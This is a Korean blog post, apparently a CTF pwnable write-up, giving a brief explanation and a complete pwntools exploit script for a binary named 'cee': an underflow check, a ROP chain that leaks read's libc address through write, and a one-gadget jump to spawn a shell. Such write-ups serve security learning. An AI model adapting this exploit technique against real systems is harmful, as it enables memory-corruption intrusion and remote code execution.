티스토리 뷰
underflow 내고, write 함수를 사용한 다음에는 첫번째, 세번째 인자가 세팅되어있으므로
pop rsi r15 가젯으로 rsi만 컨트롤 하여 릭 하고, main으로 돌리고 oneshot으로 뛰어서
익스 했다
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | from pwn import * p = process('./cee') e = ELF('./cee') context(arch='amd64',os='linux',endian='little',log_level='debug') POP_RSI_R15_RET = 0x00400a51 main = 0x400716 def check(): #p.sendlineafter('exam?\n',"2018-11-15") p.sendline("2018-11-15") p.sendline('-1') p.sendline('-1') p.sendline('-1') check() print p.recv() payload="A"*56 payload+=p64(POP_RSI_R15_RET) payload+=p64(e.got['read']) payload += p64(0) payload+=p64(e.plt['write']) payload+=p64(main) p.send(payload) p.recvuntil("Thank You!!") read = u64(p.recv(6)+"\x00"*2) log.info("read leak :"+hex(read)) libc_base = read - 0xf7250 oneshot = libc_base + 0x45216 p.recvuntil("exam?\n") #p.sendline("2018-11-15") check() print p.recv() payload1="A"*56 payload1+=p64(oneshot) p.sendline(payload1) p.interactive() | cs |
'Pwnable > write up' 카테고리의 다른 글
[PlaidCTF 2014] kappa (0) | 2018.09.26 |
---|---|
[DEFCON 2015] r0pbaby (0) | 2018.09.16 |
[PlaidCTF 2013] ropasaurusrex (0) | 2018.09.16 |
[Codegate2018_quals] BaskinRobins31 (0) | 2018.09.16 |
[HITCON 2017] start (0) | 2018.09.14 |
댓글